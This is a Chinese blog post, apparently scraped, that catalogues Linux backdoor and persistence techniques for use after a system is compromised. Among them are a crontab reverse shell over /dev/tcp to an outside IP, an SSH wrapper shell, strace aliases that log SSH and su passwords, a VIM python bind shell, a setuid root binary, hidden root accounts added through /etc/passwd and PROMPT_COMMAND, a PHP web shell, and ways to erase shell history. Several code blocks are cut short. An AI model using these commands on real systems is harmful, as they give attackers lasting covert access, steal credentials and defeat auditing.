/01 SSH后门,VIM后门
一,软链接
1 |
#!bash |
1 |
ssh root@192.168.79.131 -p 12345 |
输入任意密码就可以root用户权限登陆,如果root用户被禁止登陆时,可以利用其他存在的用户身份登陆
二,SSH Server wrapper
1 |
!bash |
1 |
socat STDIO TCP4:192.168.79.131:22,sourceport=19526 |
其中x00x00LF是19526的大端形式,便于传输和处理。如果你想修改源端口,可以用python的struct标准库实现
1 |
>>> import struct |
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。
原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。
此时子进程标准输入输出已被重定向到套接字,getpeername能获取到客户端的TCP源端口,如果是19526就执行sh给个shell。
三,SSH Key
1 |
生成私钥和公钥 |
1 |
service ssh restart |
四,SSH keylogger
编辑当前用户下的.bashrc
文件,在配置文件末尾添加:
1 |
alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh' |
ssh连接,输入密码时的密码,无论错误或者正确都能记录到log里。
五,ssh影身登录
隐身登录系统,不会被last who w等指令检测到
1 |
ssh -T user@host /bin/bash -i |
六,VIM后门
前提条件:VIM安装了python扩展,默认安装的话都有python扩展,脚本可以放到python的扩展目录
1 |
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py |
写入python脚本0.0,bind的第二位为端口
1 |
from socket import * |
/02 Alias后门,Crontab后门
一,Alias后门
通过alias来指定执行特定的命令时候静默运行其他程序,从而达到启动后门,记录键值等作用。
修改ssh命令,利用strace,使其具有记录ssh对read,write,connect调用的功能。
1 |
alias ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh' |
1 |
alias cat='/root/.shell && cat' |
二,Crontab后门
每分钟反弹一次shell给指定ip的8888端口
1 |
(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/192.168.79.128/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab - |
1 |
nc -lvvp 8888 |
/03 Setuid & Setgid
setuid: 设置使文件在执行阶段具有文件所有者的权限. 典型的文件是 /usr/bin/passwd. 如果一般用户执行该文 件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码.
setgid: 该权限只对目录有效. 目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同 的组.
1 |
#include <unistd.h> |
gcc back.c -o back
cp back /bin/
chmod u+s /bin/back
/04 Other
一,简单文件隐藏
touch .ailumao.py
ls -la
二,隐藏权限
chattr命令可以给文件加锁,防止被删除,我们也可以将它利用起来
1 |
chattr +i 123 |
三,隐藏历史记录
拿到shell以后,开启无痕模式,禁用命令历史记录功能。
set +o history
恢复
set -o history
四,删除历史命令
删除100行以后的操作命令
1 |
sed -i '100,$d' .bash_history |
五,PROMPT_COMMAND后门
Linux Bash Shell提供了一个环境变量:PROMPT_COMMAND,这个变量是在BASH出现提示符前执行的命令。
1 |
PROMPT_COMMAND='msg=$(history 1|{ read x y; echo $y; });user=$(who am i);logger $(date "+%Y-%m-%d%H:%M:%S"):$user[$(whoami)]:`pwd`/:"$msg"' |
1 |
export PROMPT_COMMAND="/usr/sbin/useradd -o -u 0 hack &>/dev/null && echo hacker:123456 | /usr/sbin/chpasswd &>/dev/null && unset PROMPT_COMMAND" |
六,strace后门
strace常用来跟踪进程执行时的系统调用和所接收的信号。 在Linux世界,进程不能直接访问硬件设备,当进程 需要访问硬件设备(比如读取磁盘文件,接收网络数据等等)时,必须由用户态模式切换至内核态模式,通 过系统 调用访问硬件设备。strace可以跟踪到一个进程产生的系统调用,包括参数,返回值,执行消耗的时间。
1 |
ssh='strace -o /tmp/sshpwd-`date +%d%h%m%s`.log -e read,write,connect -s2048 ssh' |
1 |
su='strace -o /tmp/sulog-`date +%d%h%m%s`.log -e read,write,connect -s2048 su' |
七,后门账号
1 |
perl -e 'print crypt("mingy","adgfagm")."n"' |
adu01teZNx5nY
1 |
echo "weblogic1:adu01teZNx5nY:0:0:root:/root:/bin/bash">>/etc/passwd |
八,uname后门
1 |
#!/bin/bash |
九,r后门
适合使用web网页上的维权
1 |
echo -e "<?=`$_POST[cmd]`?>r<?='mingy ';?>" >/var/www/html/1ndex.php |
FROM :https://ailumao.cn/ | Author:Ailumao
打QWB去了,安恒没怎么看2333333333 再次感谢榕榕给我的题目QAQ… CRYPTO RSA 拿到两个文件,一个flag.enc一个pub.key。 最简单的rsa,直接秒了。事实是我也拿了一血。(居然把密码学的题放在re里面,猥琐2333333) 从…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论